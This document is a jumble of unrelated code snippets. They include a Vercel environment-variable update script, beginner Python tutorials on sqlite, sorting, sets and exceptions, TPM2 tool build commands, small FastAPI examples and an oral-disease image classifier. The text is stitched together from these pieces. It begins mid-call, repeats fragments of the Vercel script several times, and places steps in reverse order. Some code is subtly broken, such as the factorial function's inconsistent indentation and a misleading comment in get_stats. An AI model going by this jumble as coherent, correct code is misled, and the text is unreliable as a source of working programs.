                url_to_create_env,
                params=payload,
                headers=headers,
                data=data
            )

            # Print the response in a safe environment if required.

for env in all_env_vars:
    # Update only if production is one of the targets of the variable.
    if 'production' in env['target'] and env['type'] != 'sensitive':

        '''
        Check if target array has development in it.
        Because development target cant have sensitive variables.
        '''

        targets = env['target'][:]
        if 'development' in targets:
            targets.remove('development')

        '''
        Step 2: Get decrypted value of each env variable.
        '''

        url_to_get_or_update_env = f"https://api.vercel.com/v9/projects/{os.getenv('PROJECT_ID')}/env/{env['id']}"
        decrypted_env_response = requests.get(
            url_to_get_or_update_env,
            params=payload,
            headers=headers
        )
        decrypted_env = decrypted_env_response.json()
        # Print the response in a safe environment if required.

        '''
        Step 3: Update all variables to be sensitive if it has production
        target and also remove development target if exists.
        '''

        data = {
            'key': env['key'],
            'target': targets,
            'type': 'sensitive',
            'value': decrypted_env['value']
        }
        data = json.dumps(data)
        response = requests.patch(
            url_to_get_or_update_env,
            params=payload,
            headers=headers,
            data=data
        )
        # Print the response in a safe environment if required.

        '''
        Step 4: Recreate the variable with development target
        if it existed before updation in previous step.
        '''

        if 'development' in env['target']:
            data = {
                'key': env['key'],
                'target': ['development'],
                'type': 'encrypted',
                'value': decrypted_env['value']
            }

            data = json.dumps(data)
            url_to_create_env = f"https://api.vercel.com/v9/projects/{os.getenv('PROJECT_ID')}/env"
            response = requests.post(
                url_to_create_env,
                params=payload,
                headers=headers,
                data=data
            )

            # Print the response in a safe environment if required.

for env in all_env_vars:
    # Update only if production is one of the targets of the variable.
    if 'production' in env['target'] and env['type'] != 'sensitive':

        '''
        Check if target array has development in it.
        Because development target cant have sensitive variables.
        '''

        targets = env['target'][:]
        if 'development' in targets:
            targets.remove('development')

        '''
        Step 2: Get decrypted value of each env variable.
        '''

        url_to_get_or_update_env = f"https://api.vercel.com/v9/projects/{os.getenv('PROJECT_ID')}/env/{env['id']}"
        decrypted_env_response = requests.get(
            url_to_get_or_update_env,
            params=payload,
            headers=headers
        )
        decrypted_env = decrypted_env_response.json()
        # Print the response in a safe environment if required.

        '''
        Step 3: Update all variables to be sensitive if it has production
        target and also remove development target if exists.
        '''

        data = {
            'key': env['key'],
            'target': targets,
            'type': 'sensitive',
            'value': decrypted_env['value']
        }
        data = json.dumps(data)
        response = requests.patch(
            url_to_get_or_update_env,
            params=payload,
            headers=headers,
            data=data
        )
        # Print the response in a safe environment if required.

# Delete items which are not required for update endpoint from payload.
del payload['decrypt']
del payload['source']


for env in all_env_vars:
    # Update only if production is one of the targets of the variable.
    if 'production' in env['target'] and env['type'] != 'sensitive':

        '''
        Check if target array has development in it.
        Because development target cant have sensitive variables.
        '''

        targets = env['target'][:]
        if 'development' in targets:
            targets.remove('development')

        '''
        Step 2: Get decrypted value of each env variable.
        '''

        url_to_get_or_update_env = f"https://api.vercel.com/v9/projects/{os.getenv('PROJECT_ID')}/env/{env['id']}"
        decrypted_env_response = requests.get(
            url_to_get_or_update_env,
            params=payload,
            headers=headers
        )
        decrypted_env = decrypted_env_response.json()
        # Print the response in a safe environment if required.

import os
import requests
import json
from dotenv import load_dotenv

# Load env from .env file.
load_dotenv()

'''
Step 1: Get all env variables.
'''

url_to_get_all_envs = f"https://api.vercel.com/v9/projects/{os.getenv('PROJECT_ID')}/env"
payload = {
    'decrypt': 'true',
    'slug': os.getenv('SLUG'),
    'source': 'vercel-cli:pull',
    'teamId': os.getenv('TEAM_ID')
}
headers = {
    'Authorization': f"Bearer {os.getenv('VERCEL_TOKEN')}",
    'Content-Type': 'application/json'
}

all_env_vars = requests.get(
    url_to_get_all_envs,
    params=payload,
    headers=headers
)

# Print the response in a safe environment if required.
all_env_vars = all_env_vars.json()['envs']

import os
import requests
import json
from dotenv import load_dotenv

# Load env from .env file
load_dotenv()

import os
import requests
import json
from dotenv import load_dotenv

def factorial(n):
	if n < 1:
    	return 1

	return n*factorial(n-1)

factorial(5)

#cd to the relevant file
cd /usr/share/applications
#us nano text editor on the proper file
sudo nano yourapp.desktop
#Make entry into the file and save it 
[Desktop Entry]
Name=YourAppName
Exec=/path/to/your/executable
Icon=/path/to/your/icon
Type=Application
Terminal=false

import calendar

for i in range(7):
    print(calendar.day_name[i])

# Analyzing Clicks A Python Function for Extracting Weekly Stats

users_data = [
    {'day': 0, 'clicks': 100}, {'day': 1, 'clicks': 10},
    {'day': 2, 'clicks': 150}, {'day': 3, 'clicks': 1000},
    {'day': 4, 'clicks': 100}, {'day': 5, 'clicks': 190},
    {'day': 6, 'clicks': 150}, {'day': 7, 'clicks': 1000}
]

def get_stats(day):
    # -1 to start from day 0 because day in date is 1
    return users_data[day - 1: day + 7]

print(get_stats(1))

import sqlite3

# Connect to the database
con = sqlite3.connect('database.db')

# Create a cursor object
cursor = con.cursor()

# Define the data to be inserted as a list of tuples
data = [
    ('John Doe', 'johndoe@example.com'),
    ('Jane Smith', 'janesmith@example.com'),
    ('Mike Johnson', 'mikejohnson@example.com')
]

# Use executemany() to insert the data into the "users" table
cursor.executemany("INSERT INTO users (name, email) VALUES (?, ?)", data)

# Commit the changes
con.commit()

import sqlite3

# Connect to the database
con = sqlite3.connect('database.db')

# Create a cursor object
cursor = con.cursor()

# Update user name based on ID
user_id = 2
new_name = "John Doe"

cursor.execute("UPDATE users SET name = ? WHERE id = ?", (new_name, user_id))

# Commit the changes
con.commit()

import sqlite3

# Connect to the database
con = sqlite3.connect('database.db')

# Create a cursor object
cursor = con.cursor()

# Fetch all data from the "users" table
cursor.execute("SELECT * FROM users")
data = cursor.fetchall()

# Print the retrieved data
for row in data:
    print(row)

import sqlite3

# Connect to the database
con = sqlite3.connect('database.db')

# Create a cursor object
cursor = con.cursor()

# Delete user based on ID
user_id = 123

cursor.execute("DELETE FROM users WHERE id = ?", (user_id,))

# Commit the changes
con.commit()

import sqlite3

# Connect to the database
con = sqlite3.connect('database.db')

# Create a cursor object
cursor = con.cursor()

# Fetch data based on the ID filter
cursor.execute("SELECT * FROM users WHERE id = ?", (123,))
data = cursor.fetchall()

# Print the retrieved data
for row in data:
    print(row)

import sqlite3

# Connect to the database
con = sqlite3.connect('database.db')

# Create a cursor object
cursor = con.cursor()

# Create a cursor object
cursor = con.cursor()

# Insert a new user
cursor.execute("INSERT INTO users (name, email) VALUES (?, ?)", ("John Doe", "johndoe@example.com"))

# Commit the changes
con.commit()

import vertexai
from vertexai.generative_models import GenerativeModel

# TODO(developer): Update and un-comment below line
# project_id = "PROJECT_ID"

vertexai.init(project=project_id, location="us-central1")

model = GenerativeModel(model_name="gemini-1.5-flash-001")

response = model.generate_content(
    "What's a good name for a flower shop that specializes in selling bouquets of dried flowers?"
)

print(response.text)

# Extract email addresses using regexp
import re
email_log = """Email received June 2 from user1@email.com.
Email received June 2 from user2@email.com.
Email rejected June 2 from invalid_email@email.com."""

#\w means any alpha numeric characters 
print(re.findall("\w+@\w+\.\w+",email_log))

from docx import Document
import pandas as pd

df = pd.read_csv('out.csv').to_dict()
word_doc = Document()

table_head = list(df.keys())

table_head_len = len(table_head)
tables_rows_len = len(df['name'])

# create tabel
table = word_doc.add_table(cols = table_head_len, rows = tables_rows_len)

# add the first row in the table
for i in range(table_head_len):
    table.cell(row_idx = 0, col_idx = i).text = table_head[i]


# add rows for name col
for i in range(1, tables_rows_len):
    table.cell(row_idx = i, col_idx = 0).text = df['name'][i]


# add rows for age col
for i in range(1, tables_rows_len):
    table.cell(row_idx = i, col_idx = 1).text = str(df['age'][i])


word_doc.save('word_doc.docx')

<var_name> = <value>

D = {num: num ** 2 for num in range(1, 11)}

print(D)

from functools import lru_cache, partial
import timeit

@lru_cache(maxsize = 128)
def fibonacci(n):
    if n == 0:
        return 0
    elif n == 1:
        return 1
    return fibonacci(n - 1) + fibonacci(n - 2)

#the first time
execution_time = timeit.Timer(partial(fibonacci, 50)).timeit(1)
print(execution_time)

#the second time
execution_time = timeit.Timer(partial(fibonacci, 50 )).timeit(1)
print(execution_time)

myData = [
    {'a': 1},
    {'a': 1},
    {'b': 1},
    {'b': 1},
    {'c': 1},
    {'c': 1},
]

# Use a set to track seen tuples of items (key-value pairs as tuples)
seen = set()
unique_data = []

for d in myData:
    # Convert each dictionary to a tuple of its items, then convert to frozenset
    # to make it hashable and suitable for use in a set
    dict_items = frozenset(d.items())
    
    # Check if the frozenset of items is already in the set
    if dict_items not in seen:
        # If not seen, add to both set and result list
        seen.add(dict_items)
        unique_data.append(d)

print(unique_data)

import math 

print(math.log10(10))
print(math.log10(50))
print(math.log10(100))
print(math.log10(200))
print(math.log10(1000))

from collections import Counter

data = ['Java', 'Python', 'Java', 'C++', 'Python', 'PHP', 'C++', 'Java', 'PHP', 'Java', 'Python']

c = Counter(data)

print(c.most_common(3))

import tempfile

temp = tempfile.TemporaryFile('w+')
print(temp)

#write to the file
temp.write("Hello world,")
temp.write("\nWelcome to Pynerds.")

#read from the file
temp.seek(0)
for i in temp.read():
    print(i, end = '')

temp.close()

#Example with list
L = [1, 2, 3, 4, 5, 6, 7, 8, 9]
print(ascii(L.__repr__())) #same as print(L)

#Example with tuples
T = ("Pynerds", "Python", "Django", "Flask")
print(T.__repr__()) #same as print(T)

D = {1: "One", 2: "Two", 3: "Three"}

print(D.__repr__())#Same as print(D)

from collections import namedtuple

Point = namedtuple("Point", ['x', 'y'])

p = Point(3, 5)

print(p.x, p.y) #using attributes
print(p[0], p[1]) # using indexes

# Visualize the distribution of sentiment values
import matplotlib.pyplot as plt
import seaborn as sns

# Set the style of the visualization
sns.set(style='whitegrid')

# Create a histogram of the sentiment values
plt.figure(figsize=(10, 6))
sns.histplot(df['sentiment'], bins=30, kde=True, color='blue')
plt.title('Distribution of Sentiment Values')
plt.xlabel('Sentiment')
plt.ylabel('Frequency')
plt.show()

# Perform sentiment analysis on the tweets and plot the results
from textblob import TextBlob
import matplotlib.pyplot as plt
import seaborn as sns

# Function to get the sentiment polarity

def get_sentiment(text):
    return TextBlob(text).sentiment.polarity

# Apply the function to the tweet column

df['sentiment'] = df['tweet'].apply(get_sentiment)

# Plot the sentiment distribution
plt.figure(figsize=(10, 6))
sns.histplot(df['sentiment'], bins=30, kde=True)
plt.title('Sentiment Distribution of Tweets')
plt.xlabel('Sentiment Polarity')
plt.ylabel('Frequency')
plt.show()

print('Sentiment analysis and plot completed.')

# This code will plot the frequency of hate speech over the index of the dataset.

import pandas as pd
import matplotlib.pyplot as plt

# Load the data
df = pd.read_csv('train new.csv')

# Plot the frequency of hate speech over the index of the dataset
plt.figure(figsize=(12, 6))
plt.plot(df.index, df['hate_speech_count'], label='Hate Speech Count')
plt.xlabel('Index (Proxy for Time)')
plt.ylabel('Hate Speech Count')
plt.title('Frequency of Hate Speech Over Time')
plt.legend()
plt.show()

import pandas as pd

dict_data = {
    'users': ['user_123', 'user_abc'],
    'tasks': ['test1', 'test2']
}

df = pd.DataFrame.from_dict(dict_data)
df.to_html('out.html')

import pandas as pd

dict_data = {
    'users': ['user_123', 'user_abc'],
    'tasks': ['test1', 'test2']
}

df = pd.DataFrame.from_dict(dict_data)
df.to_pickle('out.pkl')

# read pkl file
print(pd.read_pickle('out.pkl'))

import pandas as pd

# All arrays must be of the same length
dict_data = {
    'users': [{'name': 'test'}, {'name': '123'}], 
    'tasks': [{'name': 'test123'}, {'name': '45456'}]
}

df = pd.DataFrame.from_dict(dict_data)
df.to_json('out.json', indent = 4)

from random import randint
from faker import Faker
from datetime import date
import pandas as pd

f = Faker()

s_date = date(2018, 5, 1)
e_date = date(2018, 5, 30)

dict_data = {'date': [], 'email': [], 'money': []}

for _date in pd.date_range(start = s_date, end = e_date):
    dict_data['date'].append(_date)
    dict_data['email'].append(f.email())
    dict_data['money'].append(randint(1, 100) * 0.99)

df = pd.DataFrame.from_dict(dict_data)
df.to_csv('out.csv', index = 0)

#import the module
import asyncio

#define asynchronous tasks
async def task1():
    #prints even numbers from 0 to 9
    for i in range(10):
       if i%2 ==0:
           print(i)
           await asyncio.sleep(0.0001)#cause a small delay

async def task2():
     #prints odd numbers from 0 to 9
     for i in range(10):
         if i%2 == 1:
             print(i)
             await asyncio.sleep(0.0001) # cause a small delay

async def main():
    print('Started:')
    await asyncio.gather(task1(), task2())
    print('Finished!')

asyncio.run(main())

#import the sqlite3 module
import sqlite3

#create a tble
with sqlite3.connect(':memory:') as conn:
  #create a table
  conn.execute('''
    CREATE TABLE point(
      id INTEGER PRIMARY KEY AUTOINCREMENT,
      x INTEGER,
      y INTEGER
      )
    ''')

  #populate table
  conn.executescript('''
    INSERT INTO point (x, y) VALUES (3, 4);
    INSERT INTO point (x, y) VALUES (2, 3);
    INSERT INTO point (x, y) VALUES (-2, 5);
    ''')

  #retrieve data
  cursor = conn.cursor()
  cursor.execute('SELECT x, y FROM point;')

  print(cursor.fetchall())
  cursor.close()

#import the namedtuple factory method
from collections import namedtuple

#create a namedtuple to represent a Point
Point = namedtuple('Point', ['x', 'y'])

#Create objects from the namedtuple 'Point' 
p = Point(3, 4)

#Access the elements using the numeric indices
print(p[0], p[1])

#Access the elements using their names
print(p.x, p.y)

#a list of strings
mylist = ['Python', 'Java', 'C++', 'Ruby']

#remove all elements from the list
mylist.clear()

#the list is now empty
print(mylist)

 
nums = [1, 2, 3, 4, 5]
print('before: ')
print(nums)

#call the reverse method()
nums.reverse()

print("after: ")
print(nums)
 

class Point:
    __slots__ = ('x', 'y')
    def __init__(self, x, y):
        self.x = x
        self.y = y

p = Point(3, 4)
print(f'x: {p.x}')
print(f'y: {p.y}')

 
countries = ['Japan', 'Russia', 'Canada', 'Russsia']

countries.remove('Russia')

print(countries)
 

A = {'a', 'b', 'c', 'd', 'e', 'f'}
B = {'b', 'c', 'd'}

#get the difference
diff = A.difference(B)
print(diff)

#Define the sets
A = {0, 1, 2, 3, 4, 5, 6, 7, 8, 9}
B = {2, 3, 5, 7}

#get the difference using the - operator
diff = A - B
print(diff)

from human_readable.files import file_size
import os

print(file_size(value = os.stat('test.txt').st_size))

def divide(a, b):
    assert b != 0
    print(f"{a} / {b} = {a/ b}")

divide(10, 2)
divide(10, 0)

#the break statement, causes the loop to immediately terminate.

seq = [0, 1, 2, 3, 4, 5, 6, 7, 8, 9]

for i in seq:
    #define the condition
    if i == 5:
        break
    print(i)

print('after the loop')

#import the random module
import random

#The sequence to choose from
L = ['Python', 'Javascript', 'Ruby', 'Java', 'PHP', 'C++', 'C#', 'HTML', 'CSS']

#Choose random items from the list
print(random.choices(L, k = 3))

#an exception to be raised by an empty stack
class EmptyStack(Exception):
    pass

class Stack:
    
    def __init__(self):
        self._items = [] #non-public list for storing stack elements

    def __len__(self):
        return len(self._items)

    def isEmpty(self):
        return len(self) == 0 

    def push(self, e):
        self._items.append(e) #add the element at the end of the list

    def top(self):
        if self.isEmpty():
            raise EmptyStack("Stack Is Empty.")
        return self._items[-1] #Return the last element in list

    def pop(self):
        if self.isEmpty():
            raise EmptyStack("Stack Is Empty.")
        return self._items.pop() #pop the last item from the list

# test the stack
S = Stack()

S.push("A")
S.push("B")
S.push("C")
print(S.pop())
print(S.pop())
print(S.pop())
print(S.pop())

#merge sort

#the merge algorithm
def merge(L1, L2, L):
  i = 0
  j = 0
  while i+j < len(L):
    if j == len(L2) or (i < len(L1) and L1[i] < L2[j]):
       L[i+j] = L1[i]
       i += 1
    else:
       L[i+j] = L2[j]
       j += 1

#main function
def merge_sort(L):

  n = len(L)
  if n < 2:
     return # list is already sorted

  # divide
  mid = n // 2 #midpoint
  L1 = L[0:mid] # the first half
  L2 = L[mid:n] # the second half
 
  # conquer with recursion
  merge_sort(L1) # sort first sub-list
  merge_sort(L2) # sort second sub-list

  # merge result
  merge(L1, L2, L) 

#example
L = [7, 5, 1, 4, 2, 8, 0, 9, 3, 6]
print('Before: ', L)
merge_sort(L)
print('After: ', L)

def insertion_sort(lst):
   for i in range(1, len(lst)):
      j = i
      while (j > 0) and lst[j-1] > lst[j]:
         lst[j-1], lst[j] = lst[j], lst[j-1] #swap the elements
         j -=1

#sort a list
L = [5, 2, 9, 3, 6, 1, 0, 7, 4, 8]
insertion_sort(L)
print("The sorted list is: ", L)

#descending selection sort
def selection_sort(lst):
  for i in range(len(lst)):
    smallest = i

    for j in range(i + 1, len(lst)):
      if lst[j] > lst[smallest]:
        smallest = j

    lst[i], lst[smallest] = lst[smallest], lst[i] #swap the elements

#sort a list
L = [99, 9, 0, 2, 1, 0, 1, 100, -2, 8, 7, 4, 3, 2]
selection_sort(L)

print("The sorted list is: ", L)

#Optimized bubble sort
def bubble_sort(lst):

  swapped = True
  while swapped == True:
    swapped = False
    for j in range(len(lst)-1):  
      
      if(lst[j]>lst[j+1]):
        lst[j], lst[j + 1] = lst[j + 1], lst[j] #swap the elements
        swapped = True

#sort a list
L = [9, 0, 2, 1, 0, 1, 100, -2, 8, 7, 4, 3, 2]

bubble_sort(L)  
print("The sorted list is: ", L)

#import the random module
import random

#The list to shuffle
my_list = [0, 1, 2, 3, 4, 5, 6, 7, 8, 9]

#shuffle the list in-place
random.shuffle(my_list)

print(my_list)

#import the random module
import random

#The sequence to sample
my_seq = [0, 1, 2, 3, 4, 5, 6, 7, 8, 9]

#get a sample of 4 elements
print(random.sample(my_seq, 4))

myset = {1, 3, 5, 7, 9, 11}

#remove an arbitrary element
print(myset.pop())
print(myset.pop())
print(myset.pop())
print(myset.pop())

print(myset)

#unlike set.remove(), If the target element does not exist, set.discard method does not raise a KeyError, it returns None instead.

myset = {1, 3, 4, 5, 7, 8, 9}

#remove elements
myset.discard(4)
myset.discard(8)

print(myset)

myset = {'Python', 'Java', 'C++'}

#add elements to the set
myset.add('PHP')
myset.add('HTML')
myset.add('Javascript')

print(myset)

import functools

def power(a, b):
    return a ** b

square = functools.partial(power, b = 2)
cube = functools.partial(power, b = 3)

print(square(5))
print(cube(5))

#finally block always gets executed
#else block is only executed if no exception was raised

import math

try:
   print("Hello, World!")
   print(10/ 5)
   print(math.sqrt(-9))

except ValueError:
   print("a ValueError has occurred")

except IndexError:
    print("IndexError has occurred")

else:
    print("No Exception was raised.")
finally:
    print("This block always gets executed")

#The else block only gets executed if the try block terminates successfully i.e  no exception was raised inside the block.


import math

try:
   print("Hello, World!")
   print(10/ 2)
   print(math.sqrt(9))

except ValueError:
   print("a valu error has occurred")

except IndexError:
    print("IndexError has occurred")

else:
    print("No Exception was raised.")

import math

try:
   
   #This will raise a TypeError
   print( 3 + 'hello' )

   #This will raise a ValueError
   math.sqrt(-16)

   #This will raise a NameError
   print(a)
   
   #This will raise a zeroDivisionError
   print(10 / 0)

except NameError:
    print("A NameError occurred")

except ValueError: 
    print("A ValueError occurred")

except ZeroDivisionError:
    print("A ZeroDivisionError occurred")

except TypeError:
    print("A TypeError occurred")

try:
   
    print(1 / 0)

except ZeroDivisionError:
    print("You divided a number by 0.")

#a list of strings
languages = ['Python', 'Java']

#append an element
languages.append('PHP')
print(languages)

languages.append('C++')
print(languages)

languages.append('Javascript')
print(languages)

def add(a, b):
    print(f'{a} + {b} = {a + b}')

a = 10
b = 20
add(a, b)

#itertools.count()- creates an iterator which yields infinite sequence of integers from a starting point 

from itertools import count

seq = count(0, 2) #an infinite sequence of even numbers

print(next(seq))
print(next(seq))
print(next(seq))
print(next(seq))
print(next(seq))

data = [0, 1, 2, 3, 4, 5, 6, 7, 8, 9]

def is_odd(num):
   return num % 2 == 1

odds = filter(is_odd, data)

print(*odds)

from itertools import repeat

#repeat a string 10 times
r = repeat('Spam', 10)
print(r)

for i in r:
    print(i)

import pause

def test():
    print('done')

def run_after(func, amount_of_time):
    pause.milliseconds(amount_of_time)
    func()

run_after(test, 10000)

from textblob import TextBlob

text = 'how are you'

blob = TextBlob(text)

if blob.polarity > 0:
    print('Positive')
elif blob.polarity < 0:
    print('Negative')
else:
    print('Neutral')

users_db = [
    {'id': '2313', 'coins': 50},
    {'id': '8213', 'coins': 20},
    {'id': '9989', 'coins': 0},
    {'id': '4654', 'coins': 1},
    {'id': '7897', 'coins': 3},
    {'id': '9898', 'coins': 60}
]

users_db.sort(key = lambda user: user['coins'])
print(users_db)

users_db = [
    {'id': 'ax123', 'money': 5},
    {'id': 'z5541', 'money': 0}
]

def get_user_by_id(user_id):
    for user in users_db:
        if user['id'] == user_id:
            return user
        
def send_money(from_id, to_id, amount):
    from_user_a = get_user_by_id(from_id)
    to_user_b = get_user_by_id(to_id)

    if from_user_a and to_user_b:
        if from_user_a['money'] >= amount:
            from_user_a['money'] -= amount
            to_user_b['money'] += amount
        else:
            print('the amount of money is large than your balance')
        
    

send_money('ax123', 'z5541', 2)
send_money('ax123', 'z5541', 2)
print(users_db)

from faker import Faker
from random import randint, choice

f = Faker()
payment_methods = ['paypal', 'bitcoin']

for _ in range(20):
    money = randint(1, 100) * 0.99
    pyment_method = choice(payment_methods)
    user_email = "*****" + f.email()[6:]
    print(f'{money}$ --- {user_email} --- {pyment_method}')

#Make directory in files, then right-click the directory and select "Open in Terminal"
#All following "sudo" command can be ignored by obtaining root permission from the opened terminal
sudo apt -y install git
sudo apt  -y install tpm2-tools

#Create script and run it in the current directory for software dependencies:
sudo apt -y install \
autoconf-archive \
libcmocka0 \
libcmocka-dev \
procps \
iproute2 \
build-essential \
git \
pkg-config \
gcc \
libtool \
automake \
libssl-dev \
uthash-dev \
autoconf \
doxygen \
libjson-c-dev \
libini-config-dev \
libcurl4-openssl-dev \
uuid-dev \
libltdl-dev \
libusb-1.0-0-dev \
libftdi-dev

#Copy & Paste these next commands in the terminal tab you are currently working in:

#Getting source, compiling and installing tpm2-tss:
git clone https://github.com/tpm2-software/tpm2-tss.git
cd tpm2-tss
./bootstrap
./configure  --with-udevrulesdir=/etc/udev/rules.d/
make -j`nproc`
sudo make install
sudo ldconfig
sudo udevadm control --reload-rules && sudo udevadm trigger
sudo pkill -HUP dbus-daemon
cd ..

#Install pre-requisties for tpm2-abrmd:
sudo apt -y install libglib2.0-dev

Getting Source, compiling and install tpm2-abrmd:
git clone https://github.com/tpm2-software/tpm2-abrmd.git
cd tpm2-abrmd
./bootstrap
./configure --with-dbuspolicydir=/etc/dbus-1/system.d
make -j`nproc`
sudo make install
sudo ldconfig
cd ..

#Source, compiling and installing tpm2-tools:
git clone https://github.com/tpm2-software/tpm2-tools.git
cd tpm2-tools
./bootstrap
./configure
make -j`nproc`
sudo make install
sudo ldconfig

#Should be able to use TPM device to generate a random number:
sudo tpm2_getrandom --hex 8

# Create a virtual environment
python -m venv venv  # Windows
python3 -m venv venv  # MacOS/Linux

# Activate the virtual environment
venv\Scripts\activate  # Windows
source venv/bin/activate  # MacOS/Linux

# Install required packages
pip install kivy

# Create requirements.txt file
pip freeze > requirements.txt

# Run a test script
python test.py

--------------------------
in case of an POLICY error -- 
PS D:\Coding Stuff, Editing\Visual Studio Python Codings\MyProjects\BurgerBillingSystem> .\burger-billing-system-env\Scripts\activate     
.\burger-billing-system-env\Scripts\activate : File D:\Coding Stuff, Editing\Visual Studio Python 
Codings\MyProjects\BurgerBillingSystem\burger-billing-system-env\Scripts\Activate.ps1 cannot be loaded because running scripts is disabled on this system.     
For more information, see about_Execution_Policies at https:/go.microsoft.com/fwlink/?LinkID=135170.
At line:1 char:1
+ .\burger-billing-system-env\Scripts\activate
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : SecurityError: (:) [], PSSecurityException
    + FullyQualifiedErrorId : UnauthorizedAccess

The error message you are encountering indicates that running scripts is disabled on your systems PowerShell execution policy. This is a security measure to prevent malicious scripts from running.

Here is how to fix this and activate your virtual environment:

Change the Execution Policy (For Administrators Only):

Open PowerShell as Administrator. "Right-click on the PowerShell" icon and select "Run as administrator".

Type the following command and press Enter:
"PowerShell Set-ExecutionPolicy RemoteSigned -Scope CurrentUser"

Activate the Virtual Environment (After Policy Change):
Navigate to your project directory using the cd command in PowerShell.
Run the activation command again:

---------------------------------
For Anaconda Jupyter Notebook -
pip install venv
python -m venv env_test
.\env_test\Scripts\activate
pip install ipykernel
python -m ipykernel install --user --name kernel_ai_cnn_1

# Quotes API
from fastapi import FastAPI, Request
from slowapi.util import get_ipaddr
from slowapi.errors import RateLimitExceeded
from slowapi import Limiter, _rate_limit_exceeded_handler

import json

def get_quotes():
    return json.load(open('quotes.json', 'r'))

app = FastAPI()
limiter = Limiter(key_func = get_ipaddr)
app.state.limiter = limiter
app.add_exception_handler(RateLimitExceeded, _rate_limit_exceeded_handler)

@app.get('/')
@limiter.limit('10/minute')
def home(request: Request):
    return {'msg': 'Hello, World'}


@app.get('/quotes')
@limiter.limit('10/minute')
def quote(request: Request):
    return get_quotes()

optimizer = tf.keras.optimizers.Adam()

# Define your loss function (e.g., Mean Squared Error)
mse_loss_fn = tf.keras.losses.MeanSquaredError()

# Compile the model
cvae_model.compile(optimizer=optimizer, loss=mse_loss_fn)

# Train the model
cvae_model.fit([data, clusters], data, epochs=10, batch_size=32)

from fastapi import FastAPI


db = [
 {'api_key': '437af89f-38ba-44f1-9eda-924f370193d4',
  'tokens': 3,
  'user_id': '6ddf9779-4be7-449c-a70d-51e81c19dd0b'},
 {'api_key': '48762b59-e968-459e-b28d-50e7a1ad37a4', 
  'tokens': 3,
  'user_id': 'daf36850-68ab-40fc-86af-e6093b6797dd'},
 {'api_key': 'dabbd875-acbd-4b98-a47f-a526075d41b4', 
  'tokens': 3,
  'user_id': '5750957f-a246-4290-a35e-2dec83bcfcea'},
 {'api_key': '604d5fe2-f7ce-4560-8137-eeae32091738',
  'tokens': 3,
  'user_id': '2d4ac462-b118-48d7-897e-163c2e8327aa'},
 {'api_key': '8540cbef-de3e-4cbd-83bc-f66297a7f407',
  'tokens': 3,
  'user_id': 'bb435e7e-b5da-4a8c-b860-e43a8e765f67'}
]



app = FastAPI()

def update_tokens_for_user(user_id, api_key):
    for user in db:
        if user['user_id'] == user_id and user['api_key'] == api_key:
            tokens = user['tokens']
            if tokens > 0:
                tokens = tokens - 1
                user['tokens'] = tokens

                return {'tokens': tokens}
            
            else:
                return {'tokens': tokens, 'msg': 'you need to get more tokens'}


@app.get('/test')
def test(user_id : str, api_key: str):
    result = update_tokens_for_user(user_id, api_key)
    if result:
        return result
    else:
        return {'msg': 'api key or user id is not found'}

import pprint

data = {'email': 'test@test.com', 'password': '123'}

print(data, type(data))

# convert dict to str
result = pprint.pformat(data)

print(result, type(result))

from peewee import Model, SqliteDatabase, CharField, IntegerField, UUIDField
from uuid import uuid4
from faker import Faker
from random import randint

fake = Faker()

db = SqliteDatabase('mydb.db')

class User(Model):
    name = CharField(max_length = 25)
    email = CharField(max_length = 25)
    age = IntegerField()
    password = CharField(max_length = 100)
    user_id = UUIDField(primary_key = True, default = uuid4)

    class Meta:
        database = db


db.connect()
db.create_tables([User])

for i in range(20):
    new_user = User.create(**{
        'name': fake.name(),
        'email': fake.email(),
        'age': randint(12, 45),
        'password': fake.password()
    })

    new_user.save()

db.commit()

# Scanning the directory using os python function
img_dirs = []
for entry in os.scandir(path_to_data):
    if entry.is_dir():
        img_dirs.append(entry.path)

# Evaluating the best model on the test set
best_model = grid_search.best_estimator_
test_score = best_model.score(x_test, y_test)
print('Test set accuracy:', test_score)

pipe = make_pipeline(MinMaxScaler(), PCA(n_components=100), SVC())

param_grid = {
    'svc__kernel': ['rbf', 'linear'],
    'svc__C': [1, 10],
    'svc__gamma': [0.01, 0.1]
}

# Training the initial SVC model
pipe = Pipeline([('scaler', StandardScaler()), ('svc', SVC(kernel = 'rbf', C = 10))])
pipe.fit(x_train, y_train)
pipe.score(x_test, y_test)

x_train, x_test, y_train, y_test = train_test_split(x, y, random_state = 0)

# Creating a stacked version of the image - original and distorted one
x, y = [], []
for disease_name, training_files in oral_disease_file_names_dict.items():
    for training_image in training_files:
        img = cv2.imread(training_image)
        scaled_orig_img = cv2.resize(img, (40, 30))
        img_har = w2d(img, 'db1', 5)
        scaled_img_har = cv2.resize(img_har, (40, 30))
        stacked_img = np.vstack((scaled_orig_img.reshape(40*30*3,1),scaled_orig_img.reshape(40*30*3,1)))
        x.append(stacked_img)
        y.append(class_dict[disease_name])

# Transforming the image to improve detection
def w2d(img, mode='haar', level=1):
    imArray = cv2.cvtColor(img, cv2.COLOR_RGB2GRAY)
    coeffs = pywt.wavedec2(imArray, mode, level=level)
    coeffs[0] *= 0
    imArray_H = pywt.waverec2(coeffs, mode)
    imArray_H = np.clip(imArray_H, 0, 255)
    imArray_H = np.uint8(imArray_H)
    return imArray_H

# Creating the labels based on directories
class_dict = {}
count = 0
for disease_name in oral_disease_file_names_dict.keys():
    class_dict[disease_name] = count
    count = count + 1
class_dict

# Collecting file directories into a dictionary
oral_disease_file_names_dict = {}

for img_dir in img_dirs:
    disease_name = img_dir.split('/')[-1]
    oral_disease_file_names_dict[disease_name] = []
    for root, dirs, files in os.walk(img_dir):
        for file in files:
            if file.endswith(('.jpg', '.jpeg', '.png', '.bmp', '.gif')): 
                file_path = os.path.join(root, file)
                oral_disease_file_names_dict[disease_name].append(file_path)

# Scanning the directory using os python function to collect
img_dirs = []
for entry in os.scandir(path_to_data):
    if entry.is_dir():
        img_dirs.append(entry.path)

# Loading the smile cascade classifier
smile_cascade = cv2.CascadeClassifier('kaggle/input/haar-cascades-for-face-detection/haarcascade_smile.xml')
smile = smile_cascade.detectMultiScale(gray, scaleFactor = 1.1, minNeighbors = 5, minSize = (30, 30))
for (x, y, w, h) in smile:
    cv2.rectangle(img, (x, y), (x + w, y + h), (255, 0, 0), 2)
output_path = 'kaggle/working/image_with_teeth.jpg'
cv2.imwrite(output_path, img)
print('Image with detected teeth saved to:', output_path)

img = cv2.imread('kaggle/input/oral-diseases/Calculus/Calculus/(1).jpg')
img.shape
plt.imshow(img)

# Cleaning the index values and aggregating the counts of ingredients

top_ingredient_counts = {}

